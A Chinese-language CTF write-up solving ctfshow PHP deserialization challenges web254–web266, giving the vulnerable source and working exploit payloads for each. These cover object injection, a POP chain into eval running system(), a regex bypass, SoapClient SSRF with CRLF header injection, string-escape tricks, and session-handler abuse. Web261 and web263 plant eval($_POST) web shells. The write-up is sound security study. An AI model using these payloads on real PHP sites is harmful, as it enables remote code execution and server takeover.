# 前言

本篇记录反序列化的学习,有关知识点可以看我的这篇文章 php 反序列化 - Web | Clown の Blog = (xcu.icu)

# web254

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

这题 emmm 感觉不想是反序列化啊,就审计一下

?username=xxxxxx&password=xxxxxx

image-20230301201449519

这里简单说一下逻辑,先看下面,$username 和 $password 先接受 get 的参数,然后 if 判断差数是否存在,如果存在就实例化类 ctfshowUser,然后调用类中的 login 方法判断用户名和密码是否正确正确给 $isVip 赋值为 ture,接着调用 checkVip 函数检测上一步有没有通过(有点怪),最后调用 vipOneKeyGetFlag 函数输出 flag(因为后面的题是这个的改动,所以这个稍微写的详细一点)

# web255

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

这里多了一个 cookie 被反序列化很明显了,利用这个给 isvip 赋值就可以了

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=true;
}
$a = new ctfShowUser();
echo urlencode(serialize($a));

image-20230301203023324

# web256

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

这里有加上了一条 username 和 pasword 的不同

简单改一下上一题的 payload 就可以直接用

<?php
class ctfShowUser{
    public $username='demo';
    public $password='xxxxxx';
    public $isVip=true;
}
$a = new ctfShowUser();
echo urlencode(serialize($a));
//O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A4%3A%22demo%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

image-20230302191137410

# web257

<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';
    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
}
class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}
class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

这里的利用思路是在 ctfShowUser 里有一个__destruct 的方法会在对象销毁的时候会自动调用函数 getInfo (),而在 backDoor 类中也有这个方法,而且会执行 eval 函数,这里我们需要覆盖这个__construct 方法

<?php
class ctfShowUser{
    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    private $code="system('cat flag.php');";
}
$a=new ctfShowUser();
echo serialize($a);
echo "\n";
echo urlencode(serialize($a));
/*
O:11:"ctfShowUser":1:{s:5:"class";O:8:"backDoor":1:{s:14:" backDoor code";s:23:"system('cat flag.php');";}}
O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D
*/

image-20230302195845419

# web258

<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';
    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
}
class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}
class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

这个题比起上面加上了过滤

/[oc]:\d+:/i`。意思是过滤这两种情况:`o:数字:`与`c:数字:

加上一个 + 绕过即可

<?php
class ctfShowUser{
    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    public $code="system('cat flag.php');";
}
$a=new ctfShowUser();
$a=serialize($a);
//echo "\n";
$a = str_replace('O:','O:+',$a);
//echo "\n";
echo urlencode($a);
//O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D

image-20230302203124133

# web259-SocapClient

<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

这里就一个反序列化,然后就调用 getflag 函数,可以想到是原生类的使用,__call () 函数,是当调用未知函数时自动触发,而在 SocapClient 原生类中会有 call 函数可以进行 SSRF

这里给的的 flag.php

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
}

这里限制了 ip 为 127.0.0.1

$_SERVER ['HTTP_X_FORWARDED_FOR'] 要 array_pop 两次,取第二次的值赋值给 $IP,post 传入的 token 如果 ===ctfshow 就会把 $flag 的值写入 flag.txt 里面

<?php
$ua="ctfshow\r\nx-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$client=new SoapClient(null,array('uri'=>"127.0.0.1/",'location'=>"http://127.0.0.1/flag.php",'user_agent'=>$ua));
echo urlencode(serialize($client));
//O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A132%3A%22kradress%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

访问 flag.txt 查看 flag

image-20230302221314104

# web260

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;
}

看到题我还懵了一下,属实没想到,上一题还在 SSRF,下一题又随便传个参就过了

image-20230304111406708

# web261

<?php
highlight_file(__FILE__);
class ctfshowvip{
    public $username;
    public $password;
    public $code;
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }
    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}
unserialize($_GET['vip']);

这一题稍微有点意思,但不多,首先简单说一下上面用到几个方法

__construct():构造函数,类实例化时自动调用
__invoke():调用函数的方式调用一个对象时的回应方法
__wakeu():反序列化后自动调用
__sleep():序列化时会自动调用
 __unserialize():在unserialize函数执行前会先检查有无此函数,如果又,优先级最高
 __destruct():在类的一个对象被删除时自动调用

整个程序执行时,先进__unserialize 函数,但是在__unserialize 函数中没有能够进入__invoke 函数的方法,这里只能通过在对象被删除时制动调用__destruct 来写文件,故这里只需要满足 code 为 0x36d=877 即可

<?php
class ctfshowvip{
    public $username="877.php";
    public $password='<?php eval($_POST[1]);';
    public $code=0x36d;
}
$a =new ctfshowvip();
echo serialize($a)."\n";
echo urlencode(serialize($a));

这里写入一个文件,用蚁剑连接

image-20230304115732681

# web262

index.php

<?php
error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}
highlight_file(__FILE__);

message.php

<?php
highlight_file(__FILE__);
include('flag.php');
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

有替换很明显,考察字符串逃逸,这里先简单说一下什么是字符串逃逸

# 反序列化字符串逃逸

# 增加

这个点在我上面的文章中没有说到,当时没想起来还有这个点,这个知识点也不麻烦,就简单的说明一下

php 序列化后的格式是固定的

<?php
class demo{
    public $username = "admin";
    public $passwd="test";
}
$a = new demo();
echo $b = serialize($a)."\n";
var_dump(unserialize($b));
var_dump(unserialize("O:4:\"demo\":2:{s:8:\"username\";s:5:\"admin\";s:6:\"passwd\";s:4:\"test\";}aaaaaaaaaaaaaaaaaaaaaaaa"));
var_dump(unserialize("O:4:\"demo\":2:{s:8:\"username123\";s:5:\"admin\";s:6:\"passwd\";s:4:\"test\";}"));
?>

image-20230304134324287

这里把下面的 username 加上了 123,这里长度与前面的 8 不对应就报错,后面加上的 aaaaaaaa 不影响反序列化的结果

为什么上面说有替换猜测是字符串逃逸呢?

这里假如我需要更改 passwd 为 admin,不去改动 $passwd 怎么做到呢?

<?php
class demo{
    public $username = "fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck\";s:6:\"passwd\";s:5:\"admin\";}";
    public $passwd="test";
}
$a = new demo();
echo $b = serialize($a)."\n";
echo $c= str_replace('fuck', 'loveU',$b)."\n";
var_dump(unserialize($c));
?>

image-20230304133733733

看上面的结果,这里 passwd 已经被改为了 admin,很简单的逻辑,在前一个变量后面添加上 ";s:6:"passwd";s:5:"admin";}, 这是我们构造的 passwd 预取为 admin 的序列化后的结果,通过

str_replace('fuck', 'loveU',$b)."\n";

这一句会讲 fuck 替换为 loveU,每有一个 fuck 就会使得前一个变量的长度加一,当我们长度等于我们构造的 ";s:6:"passwd";s:5:"admin";},这里就会顶替掉原有的";s:6:"passwd";s:4:"test";}

# 减少

原理还是跟增加得到一样,不过是我们构造的字符添加的位置不同

<?php
class demo{
    public $username = "fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";
    public $passwd="test";
}
$a = new demo();
echo $b = serialize($a);
$c= str_replace('fuck', 'you',$b)."\n";
echo $c;
$d=$c."\";s:6:\"passwd\";s:5:\"admin\";}";
echo $d."\n";
var_dump(unserialize($d));
echo strlen("youyouyouyouyouyouyouyouyouyouyouyouyouyouyouyouyouyouyouyouyouyouyouyouyouyouyouyou\";s:6:\"passwd\";s:5:\"admin\";}");

image-20230304135322961

现在做这个就简单了

<?php
class message{
    public $from;
    public $msg;
    public $to;
    public $token='admin';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
$f = "1";
$m = "1";
$t = "1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck\";s:5:\"token\";s:5:\"admin\";}";
$a = new message($f,$m,$t);
echo serialize($a)."\n";
echo base64_encode(str_replace('fuck', 'loveU',serialize($a)))."\n";
echo urlencode(serialize($a))."\n";
echo strlen("1loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU");
/*
O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:136:"1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:5:"admin";}
Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO3M6MToiMSI7czozOiJtc2ciO3M6MToiMSI7czoyOiJ0byI7czoxMzY6IjFsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVUiO3M6NToidG9rZW4iO3M6NToiYWRtaW4iO30iO3M6NToidG9rZW4iO3M6NToiYWRtaW4iO30=
O%3A7%3A%22message%22%3A4%3A%7Bs%3A4%3A%22from%22%3Bs%3A1%3A%221%22%3Bs%3A3%3A%22msg%22%3Bs%3A1%3A%221%22%3Bs%3A2%3A%22to%22%3Bs%3A136%3A%221fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck%22%3Bs%3A5%3A%22token%22%3Bs%3A5%3A%22admin%22%3B%7D%22%3Bs%3A5%3A%22token%22%3Bs%3A5%3A%22admin%22%3B%7D
136
*/

image-20230304125625217

# web263

这题考察的是 Session 反序列化,扫描目录能拿到 www.zip 文件

首先是 index.php 文件

<?php
error_reporting(0);
session_start();
// 超过 5 次禁止登陆
if (isset($_SESSION['limit'])) {
	$_SESSION['limti'] > 5 ? die("登陆失败次数超过限制") : $_SESSION['limit'] = base64_decode($_COOKIE['limit']);
	$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) + 1);
} else {
	setcookie("limit", base64_encode('1'));
	$_SESSION['limit'] = 1;
}

$_SESSION['limit']=base64_decode($_COOKIE['limit']) 来控制 session 的值

在 inc.php 文件中,首先这里把 session.serialize_handler 设置为了 php, 和 index.php 不一致,可以利用来进行反序列化

<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
date_default_timezone_set("Asia/Shanghai");
session_start();
use \CTFSHOW\CTFSHOW; 
require_once 'CTFSHOW.php';
$db = new CTFSHOW([
    'database_type' => 'mysql',
    'database_name' => 'web',
    'server' => 'localhost',
    'username' => 'root',
    'password' => 'root',
    'charset' => 'utf8',
    'port' => 3306,
    'prefix' => '',
    'option' => [
        PDO::ATTR_CASE => PDO::CASE_NATURAL
    ]
]);
//sql 注入检查
function checkForm($str){
    if(!isset($str)){
        return true;
    }else{
    return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i",$str);
    }
}
class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}
/* 生成唯一标志
* 标准的 UUID 格式为:xxxxxxxx-xxxx-xxxx-xxxxxx-xxxxxxxxxx (8-4-4-4-12)
*/
function  uuid()  
{  
    $chars = md5(uniqid(mt_rand(), true));  
    $uuid = substr ( $chars, 0, 8 ) . '-'
            . substr ( $chars, 8, 4 ) . '-' 
            . substr ( $chars, 12, 4 ) . '-'
            . substr ( $chars, 16, 4 ) . '-'
            . substr ( $chars, 20, 12 );  
    return $uuid ;  
}

这里可以反序列化后可以写文件

<?php
class User{
    public $username='2.php';
    public $password = '<?php phpinfo();eval($_POST[1]);?>';
}
$a=new User();
echo  base64_encode("|".serialize($a));
//fE86NDoiVXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiIyLnBocCI7czo4OiJwYXNzd29yZCI7czozNDoiPD9waHAgcGhwaW5mbygpO2V2YWwoJF9QT1NUWzFdKTs/PiI7fQ==

image-20230304183010822

然后访问一下 check.php

image-20230304183043807

最后访问 log-2.php

image-20230304183112672

# web264

index.php

<?php
error_reporting(0);
session_start();
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    $_SESSION['msg']=base64_encode($umsg);
    echo 'Your message has been sent';
}
highlight_file(__FILE__);

message.php

<?php
session_start();
highlight_file(__FILE__);
include('flag.php');
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_SESSION['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

看了半天才反应过来,这里少了一个 setcookie ('msg',base64_encode ($umsg));,做法稍微有一点改动

image-20230305110134330

首先在首页将 payload 传入,payload 为什么是这样的详看 262,这里访问后会有一个 session,带着这个 session 访问 message 即可

image-20230305110259089

还得加上 msg

# web265

<?php
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;
    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
    echo $flag;
}

在本题中,token 的值在最后会改变,这里修改 passwd 的值为 token 的引用即可

<?php
class ctfshowAdmin{
    public $token;
    public $password;
    public function __construct(){
        $this->password = &$this->token;
    }
}
$a = new ctfshowAdmin();
echo urlencode(serialize($a));

image-20230305122631830

# web266

<?php
highlight_file(__FILE__);
include('flag.php');
$cs = file_get_contents('php://input');
class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}

这个题换了一种传参的方式,file_get_contents ('php://input');,通过使用伪协议读取 post 数据,然后又利用了一个大小写不敏感

pyaload:

<?php
class ctfshow{
}
$a = new ctfshow();
echo serialize($a);

image-20230305134607238

后面的跟前面的区别稍微有点大,另起一篇做一个简单的总结